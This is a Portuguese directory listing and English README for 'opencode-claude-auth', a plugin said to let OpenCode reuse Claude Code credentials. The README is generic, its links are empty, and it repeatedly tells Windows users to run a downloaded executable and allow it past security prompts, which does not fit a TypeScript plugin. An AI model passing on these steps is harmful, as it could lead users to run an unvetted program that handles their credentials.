OpenCode Claude Auth
osuma2662/opencode-claude-auth
Autentica OpenCode com credenciais Claude Code — sem login extra
Ver no GitHubAgent que integra credenciais do Claude Code ao OpenCode, permitindo autenticação unificada sem necessidade de login separado ou chave de API. Simplifica o fluxo de autenticação reutilizando suas credenciais Claude existentes.
Instalação
npx convez-ai osuma2662/opencode-claude-auth1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Unificar autenticação entre OpenCode e Claude Code
- Eliminar necessidade de gerenciar múltiplas credenciais
- Acelerar setup inicial do OpenCode em Windows
- Manter fluxo de autenticação consistente
Veredito

Solução prática de integração de autenticação para usuários Windows que já utilizam Claude Code. Reduz fricção operacional, mas tem escopo limitado (apenas Windows) e documentação genérica que poderia ser mais técnica.
README
A tradução para o português deste README ainda está na fila.
🤖 opencode-claude-auth - Use Claude Code sign-in
📥 Download
Use this link to visit the download page and get the files you need:
🪟 Windows setup
This app is meant to help OpenCode use your existing Claude Code credentials, so you do not need a separate login.
1. Open the download page
Go to:
2. Find the latest release
Look for the latest version on the page. Open the release files for Windows.
3. Download the Windows file
Choose the Windows download file that matches your system. Save it to your computer.
4. Run the app
Open the file you downloaded. If Windows asks for permission, choose to run it.
5. Connect your Claude Code account
Follow the on-screen steps to use your current Claude Code credentials.
6. Open OpenCode
Start OpenCode after setup. The plugin will use your Claude Code sign-in.
✨ What this plugin does
This plugin connects OpenCode to your Claude Code account so you can:
- Use your existing Claude Code access
- Skip a separate app login
- Keep your setup in one place
- Start working faster
- Use the same auth flow you already know
🧩 Who this is for
This is for people who:
- Use OpenCode on Windows
- Already have Claude Code credentials
- Want one login path
- Prefer a simple setup
- Do not want extra account steps
🖥️ System needs
Use a Windows PC with:
- Windows 10 or Windows 11
- A stable internet connection
- Enough disk space for the app files
- Permission to run downloaded apps
- An active Claude Code account
⚙️ How it works
The plugin sits between OpenCode and Claude auth. It uses your existing Claude Code sign-in flow instead of asking you to create a new one.
That means:
- OpenCode asks for auth
- The plugin passes that request to Claude Code credentials
- Claude Code handles the sign-in
- OpenCode receives access through the same account
🧭 First-time install steps
Step 1: Download
Visit the download page:
Step 2: Save the file
Pick a folder you can find again, such as Downloads or Desktop.
Step 3: Open the file
Double-click the downloaded Windows file.
Step 4: Allow the app
If Windows asks for a security prompt, choose the option to run or allow the file.
Step 5: Finish setup
Follow the prompts until the setup is done.
Step 6: Launch OpenCode
Open OpenCode and check that it uses your Claude Code credentials.
🔧 Basic use
After setup, use it like this:
- Start OpenCode
- Sign in with your Claude Code account if asked
- Use OpenCode as normal
- Keep your Claude Code session active when needed
📁 What you get
Typical files and parts of the project include:
- The plugin itself
- Windows setup files
- Auth handling for Claude Code
- TypeScript source files
- Configuration for OpenCode
🔍 Common file names
You may see files such as:
.exe.msi.zip- release notes
- plugin config files
Choose the Windows file if more than one file appears.
🛠️ If OpenCode does not connect
Try these steps:
- Check that you opened the latest file
- Make sure Claude Code credentials are still active
- Close OpenCode and open it again
- Download the file again if it looks damaged
- Reboot Windows and try once more
🧼 Clean setup tips
Keep the setup simple:
- Use one download folder
- Remove old files after you finish
- Keep your Claude Code login ready
- Use the latest release
- Close other apps if the install stops
📌 Project details
- Repository: opencode-claude-auth
- Type: OpenCode plugin
- Auth method: Claude Code credentials
- Main use: sign-in reuse
- Platform focus: Windows
- Language: TypeScript
🧠 Short path for most users
If you want the fastest path:
- Open the download page
- Download the Windows file
- Run the file
- Finish setup
- Open OpenCode
- Sign in with Claude Code
🔗 Download again
If you need the page later, use this link:
🧩 Keywords
ai, anthropic, authentication, claude, claude-code, homebrew, nodejs, oauth, opencode, opencode-plugin, typescript